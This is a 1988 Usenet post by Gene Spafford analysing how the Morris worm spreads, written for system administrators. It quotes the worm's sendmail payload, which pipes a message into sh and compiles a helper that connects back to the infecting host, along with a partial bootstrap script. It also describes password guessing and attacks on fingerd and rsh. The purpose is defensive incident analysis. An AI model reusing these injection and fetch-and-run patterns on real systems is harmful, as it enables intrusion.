Path: utzoo!utgpu!attcan!uunet!yale!husc6!purdue!spaf
From: spaf@cs.purdue.edu (Gene Spafford)
Newsgroups: news.sysadmin
Subject: Re: The virus
Message-ID: <5312@medusa.cs.purdue.edu>
Date: 4 Nov 88 01:11:06 GMT
References: <5311@medusa.cs.purdue.edu>
Sender: news@cs.purdue.EDU
Reply-To: spaf@cs.purdue.edu (Gene Spafford)
Organization: Department of Computer Science, Purdue University
Lines: 140


This is an updated description of how the worm works (note: it is 
technically a worm, not a virus, since it does not attach itself
to other code {that we know about}):

All of our Vaxen and some of our Suns here were infected with the
worm.  The worm forks repeated copies of itself as it tries to spread
itself, and the load averages on the infected machines skyrocketed.  In
fact, it got to the point that some of the machines ran out of swap
space and kernel table entries, preventing login to even see what was
going on!

The worm seems to consist of two parts.  The way that it works is as
follows:

1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and submits a version
of itself as a mail message.
*OR* it uses rsh to create itself on the remote machine through
an account requiring no password (due to hosts.equiv or .rhosts
entries).

Using the sendmail route, it does something like:
From: /dev/null
To: "|sed -e 1,/^$/d | sh; exit 0"

cd /usr/tmp
cat > x14481910.c <<'EOF'
<text of program deleted?
EOF
cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;rm -f x14481910 x14481910.c


2) This program is a simple "listener" or "helper" program  of a few
dozen lines of fairly simple code.  As you can see, the helper is
invoked with arguments pointing back at the infecting worm (giving
hostid/socket/checksum(?) as arguments).

3) The helper then connects to the "server" and copies a number of
files (presumably to /tmp).  After the files are copied, it exec's a
shell with standard input coming from the infecting worm program on
the other end of the socket.

From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:

4) The newly exec'd shell attempts to compile itself from the files
copied over to the target machine.  The command file it uses is as
follows:

PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x%d
else
P=sh
cc -o $P %s
/bin/echo %s
./$P -p $$ 

5) This creates and dispatches the new worm..  This worm opens all the
worm source files, then unlinks the files so they can't be found (since
it has them open, however, it can still access the contents).  Next,
the worm steps through the hosts file (on the Sun, it uses YP to step
through the distributed hosts file) trying to connect to other
machines' sendmail.  If a connection succeeds, it forks a child process
to infect it, while the parent continues to attempt infection of other
machines.

7) The child requests and initializes a new socket, then builds
and invokes a listener with the new socket number and hostid as
arguments (#1, above).


Other notes:

The worm runs in stages.  It first collects info from the /etc/hosts
files, the hosts.equiv file, and other files containing host names and
host IP addresses.  It even runs netstat to find out what networks the
machine is attached to!  It uses this information to attempt to
penetrate sendmail on those machines.  It also knows how to penetrate
"fingerd" on Vaxen (on Suns, the attempt results in a core dump).  I
will privately tell individuals how to fix the bug in fingerd, but for
now change it so it does not run as "root".

After this first stage, it appears to sleep for a while.  Then it starts
collecting user names and it begins probing with "rsh".  I believe it
also permutes either an internal list of words, or it uses the names
from passwd, but it also tries to see if it can break any of the
passwords for local accounts; if so, if forks a child to use telnet
to break into that account and copy itself.

It tries to copy itself to other systems using rsh, fingerd, and
possibly also uucp and/or ftp.

As I write this, no one seems to know what it is supposed to eventually
do.  Perhaps it just breaks in everywhere it can.  I wonder if
it isn't just going to wait until some compiled-in time and then
run an "rm -rf /" or something similar (and awful).  Has anyone noticed
new files in /usr/spool/at or included in /usr/lib/crontab?

Other notes:

The program corrupts its argument vector, so it appears in a "ps ax"
as "(sh)" (a login shell).  Don't trust any of these if you have
them running.

The program doesn't copy around source files (except the helper) --
it copies around pre-compiled binaries that are linked on the local
machine and then run.  The worm appears to only be carrying binaries
for 68020-based Suns and Vax 7xx machines.  Pyramids, Sun 2's and
Sequents are all definitely immune.

The strings in the binaries are encrypted against a random "strings"
invocation.  If you have a binary, Keith Bostic informs me that 
Xor with 0x81 will reveal interesting things, although that is not
the only mask used.

The first observation of the virus I have heard about was 6pm
Wednesday night in Pittsburgh.  It didn't hit Purdue until about
4 this morning.


I will update you with any further information I may find.
If you forward whatever information you find, I will try to
collate it.


--spaf


Acknowledgements:  Some of the above information was obtained from
Brian Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue),
Dan Trinkle (Purdue), and Miek Rowan (Purdue).  Thanks, guys.
-- 
Gene Spafford
NSF/Purdue/U of Florida  Software Engineering Research Center,
Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004
Internet:  spaf@cs.purdue.edu	uucp:	...!{decwrl,gatech,ucbvax}!purdue!spaf